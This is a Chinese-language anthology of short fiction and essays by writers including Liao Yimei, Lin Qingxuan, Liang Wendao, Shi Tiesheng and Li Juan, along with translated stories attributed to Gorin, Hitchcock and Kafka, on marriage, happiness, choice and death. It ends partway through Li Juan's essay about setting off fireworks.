　　她用上了卫生巾，他以孩子般的固执让她这么做了。她一想到这是在钓鱼，内裤里夹着的卫生巾，在她丈夫眼中就是鱼饵，她忍不住会笑出声来。要不是他天真的神态，她是绝不会这样做的。有时候她也会想到在过去的五年里，他从来没有这样关心过她的那位老朋友何时来到，就是在一次午睡里突然醒来后，他像是变成了另一个人。她没有细想这变化意味着什么，而是感到自己也被这迟迟未到的例假弄得紧张起来。在此之前，她从来没把这事放在心上，最多是在肚子抽搐的时候有几声抱怨，现在她必须认真对待了，她开始相信自己有可能怀孕了。

　　而且，他也这样认为了，他不再指望卫生巾能让月经上钩。

　　“肯定怀上了。”他说，然后笑道。“你得辛苦一下了。”

　　她知道他在说什么，让冰冷的手术器械插入她的子宫，就是他所说的辛苦一下。

　　她说：“我要这个孩子。”

　　“你听我说。”他坐到了沙发里，显得很有耐心。“现在要孩子还太早，我们没有足够的钱，你一个月挣的钱只够给保姆的工钱，孩子一个月起码花你两个月的钱。”

　　她说：“我们不请保姆。”

　　“你想累死我。”他有些烦躁了。

　　“不会让你受累的，我自己来照管孩子。”

　　“你自己都还是个孩子，一个孩子已经够我受了，要是两个孩子……”他坐到了沙发里，悲哀地说：“我怎么活啊。”

　　接着，他站起来挥挥手，表示已经决定了，说道：“打掉吧。”

　　“又不是你去打胎。”她说：“疼也不会疼着你。”

　　“你才二十四岁，我只比你大一岁，你想想……”

　　这时候他们两个人正朝医院走去，那是在下午，显然他们已经确定怀上了，他们去医院只是为了最后证实。街上行人不多，他压低了嗓音边走边说：“你想想，现在有了孩子，我们五十岁不到就会有孙子了，你四十岁就做奶奶了，那时候你长相，身材什么的都还没变，在街上一走，别人都还以为你才三十出头，可你做上奶奶了，这多无聊。”

　　“我不怕做奶奶。”她扭头说道。

　　“可是我怕做爷爷。”他突然吼叫了起来，看到有人向这里望来，他压低声音怒气冲冲地说：“他妈的，这几天我白费口舌了。”

　　她微微一笑，看着他铁青的脸说：“那你就什么都别说。”

　　他们朝医院走去，他的声音还在她耳边喋喋不休，进行着垂死挣扎，他想用雨滴来敲开石头。她开始感到不安，她的丈夫这样害怕自己的孩子来到，那么她把孩子生下来，她不知道会怎样？她的不安就从这里开始。她站住了脚，觉得肚子里出现了抽搐，她仿佛听到了流动的响声，一股暖流缓缓而下。她知道这是什么，于是松了口气，她不会感到不安了，她丈夫也不会怒气冲冲了。她说：“不要去医院了。”

　　他还在说服她，听到她的话后，他疲惫地挥挥手，以为她生气了，就说：“行啦，我不说啦。”

　　她说：“老朋友来了。”

　　说完她笑了起来，他瞠目结舌地看着她。然后她向右前方的厕所走去，他站在影剧院的台阶旁等着她。当她微笑着走出来，在远处就向他点头后，他知道那位老朋友确实地来到了。他嘿嘿地笑了起来，这天下午他一直嘿嘿笑着，走到那座桥上才收起笑容。此后他突然变得严肃起来，陷入了沉思默想。

　　她站在他的身旁，看着那支长长的船队远去，孩子们也叽叽喳喳地离开了。他已经很长时间不说话了，刚才他说：“我们……”，她以为他要回家了，可是他没有抬起脚来。她轻轻笑了一下，她现在知道他想说什么了，他会说：“别回家做饭了，我们去饭店。”他脸上会挂着得意洋洋的笑容，他会说：“我们应该庆祝一下，好好庆祝。”然后他的舌头会伸出来迅速舔一下嘴唇，说道：“我得喝一扎生啤。”

　　他总能找到庆祝的理由，就是在什么理由都没有的时候，他也会说：“今天心情好，该庆祝一下。”

　　这时候他一直飘忽不定的目光望到了她的脸上，他深深吸了口气后说：“我们……”

　　他停顿了一下，嗓音沙沙地继续说道：“我们离婚吧。”

　　她呆呆地看着他，像是没有听明白他的话，他将身体转动了半圈，带着尴尬的笑容说：“我先走了。”

　　她半张着嘴，看着他将双手插在裤袋里仿佛是不慌不忙地走去，风吹过来把他的头发掀起。他的动作如此敏捷，在她还没有来得及做出反应，他已经成功地挤入了下班的人流，而且还掩饰了自己的慌张。他走去时全身绷紧了，两条腿迈出去就像是两根竹竿一样笔直，他感到膝盖那地方不会弯曲了。可是在她眼中，他却是若无其事地走去。

　　他的迅速逃跑，使她明白他的话不是一句玩笑，她感到呼吸里出现了沙沙的声响，就像是风吹在贴着纸的墙上那样。

良好的教养

格利高里 · 戈林

　　“所谓良好的教养，不是指你不向桌布上洒酱油，而是指如果有人这样做了，你却没有发觉……”契诃夫如此说。

　　当我第一次读到这句话时，我激动万分：怎么本人的脑袋里就没有想到过这一点呢？我们自认为是知识分子，上帝保佑，但愿不要有人打翻酱油，可谁一旦不小心把酱油洒到桌布上，立刻便是一片喧哗……而契诃夫却曾与此斗争，他直截了当地说：“所谓良好的教养不是指……不弄脏自己，而是恰恰相反……”

　　读过这句话后，我立刻决定，要按照契诃夫的话去生活。正好眼前就有一个不容错过的好机会–我妻子的生日到了。客人们纷至沓来：亲戚朋友，同学同事。大家端坐着，吃喝着，知识分子的话题涉及天气、大衣、叶甫图申科等等，东拉西扯。大家都坐着，气氛融洽，没有一个人弄洒酱油。

　　可是，这时候，客人中有一个姓库里科夫的，伸手去够洒瓶，他把斟满啤酒的一个大高脚碰翻了。他一时慌乱不安，急忙飞快地用餐巾纸擦拭。

　　我坐着，没去理会。

　　便此时我发觉，客人中竟没有一个人发现他把桌布弄湿。我不知怎么，心中有些气恼。

　　于是，我就说：“所谓良好的教养，不是指你不向桌布上洒酱油，而是指，如果有人这样做了的话，你没有发觉……”

　　客人库里科夫听了，立刻红了脸，说道：“我没有弄洒酱油呀！”

　　我说：“这关酱油什么事？我不是指酱油……只是很高兴，今天在此聚集了这么多有良好教养的人。你看，你把啤酒弄洒了。可人们连眼睛也没眨一下。这太令人高兴了，尤其是桌布还是崭新的，是前不久刚刚买的。”

　　库里科夫不知为什么更加激动不安了，嘴里开始不知嘟哝些什么，手颤抖着，突然一下把盘子扣到了地板上。盘子立刻粉身碎骨。客人库里科夫顿时变得出像只烧红的螃蟹。大家都沉默不语。而我自己也努力不去发觉这尴尬。

　　我说：“请别慌！小事一桩！谁也没有发觉。至于那盘子，去它的吧！那是完整的一套，还是价值不菲的古董呢。确切地说，是撒克逊陶瓷！”

　　库里科夫不知为何全身战栗起来，他低头去拾碎片，可因为慌乱，扯住了桌布。于是，瓶子、杯盘全摔落到地板上……我努力做出样子，好像什么也没有看见。甚至吹起了口哨，好向大家证明，这一切对我来说都是无所谓的。可是此时，库里科夫的妻子站起身，冲我喊到：”你怎么能这样鄙视我的丈夫？”

　　我对她礼貌地回答：“谁也没有鄙视您的丈夫！相反，我们大家都在努力不去发现他的粗俗不堪。看看您自己，比如，您把叉子伸到了共用的色拉盘子里了，我对此便没有发现。”

　　她不知为什么大哭起来，所有的客人也都不知为什么开始愤怒了，叫道： “我们离开这里吧！为什么要被他嘲笑挖苦呢！”

　　我说：“哎，谁嘲笑挖苦你们了？大家都来我们家做客，知道吗？把地板弄脏了，烟灰往盘子里磕，狂吃海喝……我努力不去注意，可你们还在胡说八道！”

　　此时，客人们起身，奔向前大厅穿大衣。

　　这样做，当然，我是显得有些粗鲁。其实不应该这样！我应该追着他们，给他们讲一些契诃夫的至理句言，比如关于酱油或者类似这方面的什么东西，可我没有来得及找到这方面的引文，他们已经跑光了。上帝保佑，值得庆幸的是我没有把手中的瓶子扔出去，我把它紧紧握住了……

对生命的谄媚

廖一梅

　　年轻的时候偏爱年长的男人，觉得同龄的男孩简单无趣，而跟比自己年长很多的男人交往，便觉得自己聪慧、成熟，占有了更多的岁月和经历，向人生伸出了更长的触角，有了更深的理解。长大以后，知道岁月和经历每个人都会有，积年累月，只嫌太多，这才体会到年长男人的心态，当年你以为自己聪慧、成熟，其实他看见的只是年少活力，他们的赞美其实是对生命的谄媚。

　　上大学时看《卓别林传》，看到卓别林对他最后一任妻子乌娜·奥尼尔极尽赞美之辞，而对他生命中的其他女人，包括他的前三任妻子，给他生过两个孩子的丽达，给予他巨大帮助的宝莲·高黛都极力回避。卓别林 54 岁时娶了剧作家奥尼尔 18 岁的千金乌娜，他被人称为老色鬼，而乌娜失去了继承权。但这的确是段美好婚姻，两个人共度半生，生育了 8 个子女。即便如此，他的叙述还是令我十分别扭，不至于这么谄媚吧，一个老男人因为获得了小姑娘的爱情而欣喜若狂到要抹杀他前半生的记忆？

　　不久前又看到伍迪·艾伦的采访。1997 年，在那段著名的丑闻之后，年近花甲的伍迪·艾伦娶了比他小 37 岁的养女宋宜，她从 7 岁就被艾伦的前女友米娅·法罗带到艾伦身边一起抚养。现在他对《名利场》的记者宣称：“这场婚姻太偶然、太幸运了。是我此生经历过最实在的幸事。”并后悔没有早一点离开米娅·法罗。米娅·法罗是 1980 年代以后到丑闻发生的十几年间，伍迪所有电影的女主角。他曾称米娅是最理想的女性代表，并由于遇见了她，改变了他电影里所描绘的女性形象，甚至改变了女性观。他的女性观肯定是再次改变了。

　　更为传奇的事当然是 82 岁的杨振宁和 28 岁女研究生的故事，杨先生称这是“上帝恩赐的最后礼物，给我的老灵魂，一个重回青春的欢喜”，并猜测那女孩爱上他是因为他“很纯”。

　　——这些老男人怎么了？一个人老去，便对年轻的生命有着本能的崇拜吗？人是贪恋青春和生命的，这强烈的感情会降低人的智力，抹杀更深刻的经验，无视基本的常识，安静地等待老去也是一种尊严吧。

幸福的无关

林清玄

　　我小时候对汽水有一种特别奇妙的向往，原因不在汽水有什么好喝，而是由于喝不到汽水。我们家是有几十口人的大家族，小孩依序排行就有 18 个之多，记忆里东西仿佛永远不够吃，更别说喝汽水了。

　　喝汽水的时机有三种，一种是喜庆宴会，一种是过年的年夜饭，一种是庙会节庆。即使有汽水，也总是不够喝。到要喝汽水时好像进行一个隆重的仪式，18 个杯子在桌上排成一列，依序各倒半杯，几乎喝一口就光了，然后大家舔舔嘴唇，觉得汽水的滋味真是鲜美。

　　有一回，我走在街上的时候，看到一个孩子喝饱了汽水，站在屋檐下呕气，哦——长长的一声。我站在旁边简直看呆了，羡慕得要死掉，忍不住忧伤地自问道：什么时候我才能喝汽水喝到饱？什么时候才能喝汽水喝到呕气？因为到读小学的时候，我还没有尝过喝汽水到呕气的滋味，心想，能喝汽水喝到把气呕出来，不知道是何等幸福事。

　　在小学三年级的时候，有一位堂兄快结婚了，我在他结婚的前一晚竟辗转反侧地失眠了。我躺在床上暗暗地发愿：明天一定要汽水喝到饱，至少喝到呕气。

　　第二天我一直在庭院前窥探，看汽水送来了没有。到上午 9 点多，看到杂货店的人送来几大箱的汽水，堆叠在一处。我飞也似的跑过去，提了两大瓶的黑松汽水，就往茅房跑去。彼时农村的厕所都盖在远离住屋的几十米之外，有一个大粪坑，几星期才清理一次，我们小孩子平时很少进茅房的，卫生问题通常是就地解决，因为里面实在太臭了。但是那一天我早计划好要在里面喝汽水，那是家里唯一隐秘的地方。

　　我把茅房的门反锁，接着打开两瓶汽水，然后以一种虔诚的心情，把汽水咕嘟咕嘟地往嘴里灌，一瓶汽水一会儿就喝光了。几乎一刻也不停地，我把第二瓶汽水灌进口中。

　　我的肚子整个胀起来，我安静地坐在茅房地板上，等待着呕气。慢慢地，肚子有了动静，一股沛然莫之能御的气翻涌出来，哦——汽水的气从口鼻冒了出来，冒得我满眼都是泪水，我长长地叹了一口气：“这个世界上再也没有比喝汽水喝到呕气更幸福的事了吧！”然后朝圣一般打开茅房的木栓，走出来，发现阳光是那么温暖明亮，好像从天上回到了人间。

　　在茅房喝汽水的时候，我忘记了茅房的臭味，忘记了人间的烦恼，觉得自己是世上最幸福的人。一直到今天我还记得那年叹息的情景，当我重复地说：“这个世界上再也没有比喝汽水喝到呕气更幸福的事了吧！”心里百感交集，眼泪忍不住就要落下来。

　　贫困的岁月里，人也能感受到某些深刻的幸福，像我常记得添一碗热腾腾的白饭，浇一匙猪油、一匙酱油，坐在“户定”（厅门的石阶）前细细品味猪油拌饭的芳香，那每一粒米都充满了幸福的香气。

　　有时这种幸福不是来自食物，而来自于自由自在地在田园中徜徉了一个下午。

　　有时幸福来自于看到萝卜田里留下来的做种的萝卜开出一片宝蓝色的花。有时幸福来自于家里的大狗突然生出一窝颜色都不一样的毛茸茸的小狗。生命原来不在于人的环境、人的地位、人所能享受的物质，而在于人的心灵如何与生活对应。因此，幸福不是由外在事物决定的，贫困者有贫困者的幸福，富有者有其幸福，位尊权贵者有其幸福，身份卑微者也自有其幸福。在生命里，人人都是有笑有泪；在生活中，人人都有幸福与烦恼，这是人间世界真实的相貌。

选择太多

梁文道

　　偶尔有人抱怨，如今过年的气氛不如以往。想从前，大年三十晚上开始，街上一切店铺都已经关上了门，直到初三，才略略恢复常态，食肆商家才又开始了买卖。年假那几天原是大家休息，与亲友聚会的日子；可现在，我们会形容那种平静的市面为“冷清”与“萧条”。于是初一就不再是原来那个初一了，你还是可以逛街，还是可以如常吃喝，仿佛农历新年只不过是个比较长的周末而已。同时还有媒体教导我们，“过年食品可以不再沉闷”，“你有各种选择”，意思是你不必再吃那些口味万变不离其宗的年糕，因为现在什么材料做的年糕都有，正如月饼成了块状巧克力雪糕一样——甚至你不必吃年糕，据说蛋糕也是代替年糕的好办法。这一切都关乎选择；不用依循传统，不用限制自由，爱怎么样就怎么样，其主旨在于把这个旧历新年过得和平常一样，让新年变得不再那么像新年。

　　过年吃的东西很沉闷吗？究竟一年才吃一回的糕点年菜又能叫人有多难受呢？我们被教导成如此害怕“沉闷”如此抗拒千篇一律的动物，只是为了更好更新的选择，也就是更多的消费机会。我们家在外婆体力尚能应付繁重厨务的年代，曾经遵守一套严格的北方过年习俗，初一包饺子初二下面初三烙“盒子”，年年如是，一丝不苟，毫无选择可言。于我看来，这类传统年俗饮食的最大好处就在于它没有选择，免除了我们肩上的重担，不必动脑筋去想上哪儿开餐，不必翻开菜单点菜，凡事按照老规矩就行了。

　　选择的确是一种负担，而且是发达资本主义世界消费者的独特负担。比如说葡萄酒，什么样的人才称得上是资深饮家呢？假如有这么一个人，从小及长都只喝一个地方的酒，非常封闭，轻易不试其他产区；而且他还不用恰当的酒杯，直接把酒倒进喝水用的小玻璃杯。你说这算不算喝酒？简直像个笑话是吧？然而这正是许多南欧乡镇的常见作风。那些地方产酒千年，喝葡萄酒的资历比我们现代中国人喝牛奶的历史还长。他们从小喝到大，不懂 Parker 评分，不知世界之大，只晓得家乡附近的产品，并且还真的就用那些粗糙的器皿盛酒，完全欠缺什么形状的杯子要配什么样的酒的知识。相比之下，不少香港人反而更懂赏酒，上过课程读过书，家中藏了全系列 Riedel 酒杯。更重要的是我们有选择，市场上琳琅满目，货架分类详尽。我们学过喝酒，他们没有；我们选择很多，他们不能选择；所以我们就变得比许多南欧产酒乡村的农夫牧民更懂得葡萄酒了，对不对？

宠物公墓

希区柯克

　　约瑟夫默默地站了一会儿，心里想着兰克太太。他可以感觉到他们夫妇之间的紧张。

　　昨天，兰克太太到这里来商量埋葬事宜时，约瑟夫立刻看出，她很喜欢那条叫巴克的苏格兰狗，那不是一般的喜欢，而是一种非常深沉的感情。他们说好第二天把巴克埋在宠物公园，兰克太太要求约瑟夫用昂贵的杉木，而不是普通的松木。约瑟夫觉得，兰克夫妇很有钱。“巴克多大了？”他送她上车时问道。

　　“十一岁，”兰克太太回答说，“可是我们相信她不是老死的，而是吃到什么东西死的。”约瑟夫觉得，从她的语气中，可以听出，她怀疑狗是被毒死的。“你要不要找个兽医验尸？”他问。

　　她摇摇头，勉强笑笑。“就是发现巴克是被毒死的，也没什么用处了。”

　　今天早晨，兰克夫妇带狗来的时候，是用一条大毛巾裹着的，约瑟夫看到狗扭曲的肌肉和狞笑的样子，马上就明白，那是死于中毒，但是，他没有说话。

　　他自己的一条英国狗路克的叫声，把他从沉思中唤醒，他记起自己还有工作要做。

　　第二个星期的周末，兰克太太带着一束雏菊来了。她看上去精神好多了，非常亲切地向约瑟夫打招呼。

　　她来的时候，他正在用水管冲洗狗栏的水泥地面，他关掉水，冲她微微一笑。

　　不知为什么，兰克太太让他想起他已故的妻子。

　　她的微笑有些尴尬。“我……我来巴克墓前献花，”她说，“我知道这有点儿傻……”

　　他看到她体态优雅地走向狗坟，然后蹲下来，在墓碑前放下雏菊。当她回来时，他问她，想不想喝一杯咖啡？她同意了。

　　他们走进小办公室，里面只有一个咖啡壶，他倒了两杯咖啡。兰克太太没有加牛奶或糖，只是坐在一张破旧的椅子上，喝着苦咖啡。

　　她看到约瑟夫办公桌后面墙上的纪念品和奖状，问：“这些全是你赢的吗？”

　　“是路克赢的，”约瑟夫微笑着说，“那是它的照片，赢过三届全国冠军，不过，那是很久以前的事了。那时候，我和太太经常参加狗的比赛，但是六年前她去世后，我就对赛狗失去了兴趣。”

　　“你这地方不错，”兰克太太说，“非常安静，我想你一定很爱动物。”

　　不知为什么，约瑟夫突然说：“我认为巴克是被毒死的，你先生不喜欢狗，是吗？”

　　兰克太太先是吃了一惊，然后慢慢地端起咖啡杯，喝了一口。

　　“对不起，”约瑟夫说，摸摸自己晒得黑黑的脸，好像很疲倦的样子。

　　“你说得很对，”兰克太太说，“兰克先生不喜欢巴克，他不是那种喜欢动物的人。你说得非常对……”她意识到说多了，急忙补充说，“和所有的人一样，他也有他的缺点。”

　　“当然，”约瑟夫说，靠着桌边坐下。

　　“我知道你在想什么，”兰克太太闲聊似地说，“你正在想，兰克先生可能不喜欢我。”她的手仍然稳稳地抓着咖啡杯的把。

　　约瑟夫觉得脸上热辣辣的，他承认说：“你说对了，我就是那么想的。”他勉强一笑，“我承认，我有点多管闲事了。”

　　“我先生和所有的人一样，有他的看法，”兰克太太带着辩护意味地说。

　　“你说过，他有缺点，”约瑟夫提醒她说。

　　“我说过，是吗？”兰克太太说，“这两种话我都说过。”她看看手表，站了起来，“啊，我要去园艺俱乐部，要迟到了！”

　　“我不耽误你了。”约瑟夫说。

　　兰克太太的微笑让他放了心。“这是我自己造成的，不是你的错。”

　　他拿起她的空杯子，为她拉开纱门。

　　“谢谢你的咖啡，”她彬彬有礼地说，拎起皮包走出门。

　　约瑟夫在办公桌旁坐下，听着她的汽车离开的声音。她在小小的办公室里留下了一股中年妇女常用的香水味，他想那是紫丁香的味。

　　从此以后，兰克太太经常来公墓，有时候在巴克坟前放把花，有时候只站在那里，低头看一会儿。每次她都呆一阵儿，和约瑟夫喝杯咖啡，聊聊天。

　　兰克太太没有说过她丈夫一句坏话。

　　不过，她和约瑟夫在一起很愉快，他们有共同语言，慢慢地，他们之间产生了一种信任和了解。

　　有一天，她来办公室时，约瑟夫看出她哭过。她眼睛湿润，流露出愤怒之情。

　　开始，他以为她是因为怀念死去的狗而流泪的，但是，当她接过咖啡杯时，他发现她全身发抖。

　　“怎么啦？”他在她身边蹲下，握住她的手，想让她平静下来。

　　“我们吵架了！”兰克太太冷静地说，“就这么回事。”

　　“为什么？”

　　“现在已经无关紧要了。”

　　“他对你说什么了？”

　　兰克太太抽出手，捧起温暖的咖啡杯。她说：“他要移居欧洲，我不同意。

　　这儿是我的家，我的城市，我的祖国，我母亲也住在这儿，我要照顾她。他一直为这事和我争吵，我想这不是什么了不起的事，不过，我们总是为一些小事争吵。”

　　“你没有想过让他一个人去？”约瑟夫问。

　　“如果我不和他一起去，他会一个人去的，那样的话，我就会一无所有。”

　　“你当然会有些钱，像生活费、赡养费等。”

　　“他嫌我老，”她说，“总是说我老，老，老……”

　　约瑟夫站起身，由于蹲得时间长了，背部感觉很疼，他把手放到她的肩膀上。

　　传来一阵喇叭声，他从窗口向外看，原来一位顾客用皮带牵着一条小狗站在外面。约瑟夫走出去，检查免疫证明，他把狗安置到一个围栏后，又回到办公室。这时，兰克太太已经不哭了，正在平静地喝咖啡。

　　接着，他们若无其事地聊了很久，再也没有谈到吵架的事。最后，当兰克太太告辞时，她小心地对约瑟夫说：

　　“我已经决定再弄一条狗，一条大狗。”

　　约瑟夫点点头，“这很不错。”

　　她露出微笑。

　　她走了，但屋里仍然弥漫着她的香水味。

　　约瑟夫忙着办登记狗的文件，因为他的那条英国母狗刚刚生了一窝狗。他忘记了兰克太太要养的大狗。

　　两个星期后，兰克太太来了。

　　她来的时候，约瑟夫正在油漆公墓大门的柱子。那天天气很暖和，但不太热，有些微风，所以他们站在外面谈话。

　　“我不能呆很久，”兰克太太说，瞥了一眼只漆了一半的门柱。

　　“随你的便，”约瑟夫放下刷子，盖上油漆罐的盖子。

　　兰克太太微微一笑，淡蓝色的眼睛盯着他。“我是来谈我买的那条大狗——上次我告诉过你，还记得吗？”

　　约瑟夫靠在柱子干燥的部位，点点头。

　　兰克太太低头凝视着地面。“它……它死了。”

　　约瑟夫仔细看着她，在阳光的照射下，她脸上的皱纹非常清晰。“中毒死的？”

　　“我想是的，”她说，眼睛仍然低垂着。“我想问问，可不可以埋葬在这儿？”

　　一阵风吹过来，吹得工具棚屋顶上的风信机转了方向。“可以。”约瑟夫慎重而温和地说。兰克太太松了一口气，露出微笑。“我……这次我们要用箱子盛，我有一口大箱子，一只旧的大衣箱。”

　　“好，”约瑟夫说，用脚跟踩着油漆罐的盖。“你要不要石碑？”

　　“我想要一个十字架就行了。”兰克太太说。

　　“当然可以，”约瑟夫说，“你那条狗没买多久吧！叫什么名字？”

　　“国王，”兰克太太沉思道，“它的名字叫国王。”

　　“明天一早？”

　　她点点头，“谢谢你，约瑟夫。”

　　约瑟夫目送她走回汽车，打开车门时，她转回身看他。他正在碑腿上擦手，向她微笑。当她缓缓驶过狗栏时，那些狗轻轻叫起来。

　　第二天一大早，她一个人开着车来了，约瑟夫在外面迎接她。衣箱是黑色的，系扣是铜的，用很厚的皮带捆着，衣箱边有纸和胶的痕迹。兰克太太看着约瑟夫搬下衣箱，放到挖好的墓穴边。

　　他们默默地站了一会儿，在寂静的清晨，约瑟夫只听到自己沉重的呼吸声。接着，教堂的钟声响起来，他把箱子放进墓穴，然后低头看着破旧、褪色的箱盖。

　　兰克太太走开，到办公室等候，约瑟夫留下来填土。当他弯腰填土时，可以感觉到她站在窗前，死死地盯着他。

　　约瑟夫干完后，回到办公室。他们聊了一会儿，然后兰克太太告辞。

　　从此以后，兰克太太经常去看约瑟夫，喝杯咖啡，聊聊天。约瑟夫觉得，她似乎更快乐、更满足了，但也许那只是表面现象。有时候，她会带一小束雏菊放到巴克墓前，但约瑟夫从来没有看见她在那条“大狗”的坟前放过花。

　　约瑟夫知道，那条“大狗”是个人，就是她丈夫。

包厢里的奇遇

卡夫卡

　　我坐在包厢里，旁边坐着我的妻子。正在演出一个紧张的剧作，主题是忌妒，这时，在一个金碧辉煌的、由立柱围着的大厅里，一个男人正在他那缓缓向出口移步的妻子身后举起匕首。我们紧张得趴在了胸墙上，我感觉到我妻子的鬈发拂在我的太阳穴上。这时我们忽然吓得缩回了身子，胸墙上有什么东西动了起来；我们以为是铺着天鹅绒的胸墙却原来是一个细高个子男人的背脊，他正好和胸墙的宽度一样，到刚才为止一直肚子朝下地趴在那儿，而现在正慢慢地转身，好像在寻找一个舒服的姿势。我的妻子颤抖着贴着我。他的脸离我很近，比我的手掌还窄，干净得可怕，像个蜡像，长着黑色的尖胡子。“你为什么要吓唬我们？”我叫道，“你在这里搞什么名堂？”“对不起！”这人说，“我是您的妻子的一个崇拜者，感觉到她的胳膊肘支在我的身上使我十分幸福。”“艾米尔，我求你，保护我！”我的妻子叫道。“我也叫艾米尔，”那人说道，他的脑袋支在一只手上，躺在那儿就像躺在一张舒适的卧床上似的。“到我这儿来，甜美的小人儿。”“无赖，”我说，“再敢说一句，我就让您摔到下面观众席上去。”大概我觉得他肯定还会说话，我就动手把他往下推去，但这并不容易，他好像是牢牢属于胸墙的一部分似的，好像是安装在了胸墙里，我想把他翻个个儿，但却办不到，他只是微笑着，说道：“省省吧，你这小笨蛋，别过早把力气都用尽了，斗争还刚刚开始，结果只能是您的妻子满足我的渴望。”“绝不！”我的妻子叫道，然后转过身来对我说：“求你了，马上把他推下去。”“我不行，”我叫道，“你也看到了我是多么卖力，可是这里肯定有个什么花招，就是办不到。”“噢，天啊！噢，天啊！”我的妻子痛苦地叫着，“我怎么办呢？”“安静点，”我说，“我求你了，你的激动只会把事情搞得更糟，我现在有了一个新的计划，我要用我的刀把这里的天鹅绒割开，然后连同这个家伙一起掀到底下去。”可是我这时却找不到我的刀了。“你知道我的刀在哪里吗？”我问道。“是不是让我给落在存衣处的大衣里了？”我差点就要往存衣处跑去了，这时我的妻子使我恢复了理智。“你现在要把我一个人留在这里，艾米尔！”她叫道。“可是我没有刀怎么办？”我回头喊道。“拿我的。”她说着，用颤抖的手指在她的小口袋里寻找，当然她找出来的无非是那把一丁点儿小的贝壳小刀。

我这么喜欢你

史铁生

　　他们一直在街上走着，谁也不说话。汽车的噪音很大。

　　到了吃午饭的时候。

　　“我不想吃，我不饿。”姑娘说。

　　他们走进一家饭馆，坐在一个角落里，看得见街上白花花的太阳和一些红得刺眼的遮阳伞。

　　姑娘把桌上的一摊水画成很古怪的形状。她不断地长出气。

　　小伙子看着杯子里啤酒的气泡。

　　“不管我怎么跟他们说，他们还是那么说。”姑娘很快地看了小伙子一眼，又垂下头。

　　小伙子不停地喝着啤酒，又去买了两个菜。

　　“我一点儿都不饿。”姑娘说。

　　“他们怎么说？”

　　“还是那么说……还是说……”

　　玻璃上有一只小虫“嗡嗡”地叫着，街上到处是卖雪糕和卖茶水的疲倦的吆喝声。

　　“你呢？你自己呢？”小伙子问。

　　“我也不知道，也许我不应该总耽误着你。”

　　“也许他们应该总耽误着我们吧？”

　　“可是我爸爸血压高，妈妈又有心脏病。”

　　小伙子又去买汽水，他们今天已经喝了好几瓶了。桌上的菜谁也没动。

　　“好吧，我等。”小伙子把一瓶汽水“嗵”地放在姑娘面前，“等你有了高血压，我也有了心脏病。”

　　她笑不出来，要是往常她又笑个不停了。

　　“你应该跟那个人好，其实……”

　　“你说了一百回了！”

　　“其实她比我好，真的比我好。”

　　“我只说一百零一回：比你好的人多了，可爱不爱是另一回事！”

　　他们又默默地坐着，不再说话，谁也不看谁。蜻蜓飞得低了，远处有一片发亮的云彩。

　　“会下雨吗？”姑娘先说。

　　“带着伞呢。”小伙子回答，他正看着汽水瓶上的北冰洋。也许那儿不错，有一间房子的话。

　　“你少喝点儿吧。”

　　“没关系，啤酒，加了汽水的。”

　　姑娘想，等将来自己当了母亲的时候，成了老太太，一定要理解自己的女儿，或者儿子。

　　“假如是你自己不愿意，那……那就算了。”小伙子说，晃晃手里的杯子，“咕咚咚”喝光。

　　发黑的云彩上来了，应该下一点雨了。

　　“否则，我跟你说了，法律是保护我们的。”

　　“没用，他们才不管那一套。”

　　“问题是你不敢。”

　　“可爸爸血压高，妈妈又有心脏病。”

　　他们又沉默着坐了很久，然后离开了那儿。

　　灰黑的云层下面飞着一群鸽子。鸽子显得格外洁白，像一群闪电，像一群精灵。

　　“你真的能等吗？”姑娘眼里有泪光。

　　“当然，我们的日子比他们长。”小伙子撑开了雨伞。下雨了。

比利的马子

戈登 · 杰克逊

　　比利起初在皮筏上，后来不见了。阳光照耀着蓝色的水面。卡麦恩到更衣室找他，又到他老是喜欢在那儿和卡蜜儿穷扯蛋的爆米花摊子，然后走到救生站。但是没有人看见他。要是让我逮到那小子，卡麦恩在更衣室对我这么说，可惜我也没看到他，站在柜台后面，除了一片海水，洒在水上白花花的阳光，以及远处的松树，我还能看见啥？有时候会有几个漂亮的妞儿走过，不过我从没看到过比利。他可能还躲在船下的大浮箱之间，这是他的怪异举止，稍后，他会冒出水面，手里拿着耙，干什么，唐格里先生，我一直照你说的，在清理这个地方啊！他就是这个样子。过了一下子，他们叫来了治安人员，有两个家伙走进我背后的更衣室，直闯他们放着拖绳的储物间，那绳上的钩子和你的头差不多大小。这时已接近傍晚了。比利的马子过来游泳，那几个家伙正开着他们的小船，噗噗地在皮筏周围绕来绕去，船尾拖着拖绳。天色完全暗下来以后，他们架起灯，继续在那儿找。他只是在开玩笑，他总是那个样子，比利的马子告诉我说。她坐在我的柜台上，两腿甩来甩去，看起来很高兴而且知道是怎么回事一样。此时附近已没有什么人了，我们走进一排排网篮的后面，开始亲热。四下无人且一片漆黑，我们倒在一堆湿毛巾上面，她立刻把舌头伸进我的嘴里。毛巾散发出一种酸味。我注意到她泳衣的边边还潮潮的。水面上的马达声又停止了，他们得不时停下来，察看钩到了什么东西，海草或一条老狗。不过这回是比利没错，副警长说他像一条完全丧失斗志的大梭鱼，钩子正好钩住他的眼睛。而那时，我正很顺利地进入比利的马子，她很满意。

放烟花

李娟

　　村里只有我们一家汉族人，遇上库尔邦节啊开斋节啊等穆斯林节日，也会跟着一起高兴高兴，汉族的旧历年却似乎很多年都不曾正经过过。但今年却决定认认真真过个年。

　　于是我回家前买了几个大大的烟花，决定大年三十也热闹一下。

　　回想一下，长了这么大，还从来不曾放过炮仗烟火之类的玩艺儿。小的时候，看邻居家孩子玩，也不是特别向往。长大后，更没啥感觉了，反正我们家又从来不过年的，再说了，花那么多钱买回来，点燃后“砰砰”几下就烟消云散、一地碎纸――实在不划算。

　　但这一次却不知想到了什么。从来都没过过年，却突然那么想过年……莫非，年岁不饶人？

　　吃过饭，还兴致勃勃看了春晚节目，电视屏幕上噪音与雪花点势均力敌，看这样的电视，除了视力外，还得运用非凡的想象力。看到后来实在忍受不了了，便出去踢了两脚天线锅，回来时发现情形更糟，索性关了电视，决定开始放烟花。

　　没有月亮，外面漆黑一团。但星空华丽，在世界上半部分兀自狂欢。星空的明亮与大地的黑暗断然分割。站在院门口，一点也看不到村子里的其它房屋。没有一点灯火，这时候村子里的人都睡下吗？又站了一会儿，才看清邻居家的院墙。

　　我妈打着手电筒照着我，看着我踩着墙角垛的柴禾把烟花小心放到黑乎乎的屋顶，又递上来几块石头，让我抵住烟花。四周那么安静，我没穿外套，冻得有些发抖，牙齿咬得紧紧的，但却非常兴奋。

　　接下来我们开始商量由谁来点燃。因为都没干过这种事，都还有些害怕。

　　“不会炸掉吧？”

　　“应该不会……”

　　“导线会不会太短？”

　　“应该不会……”

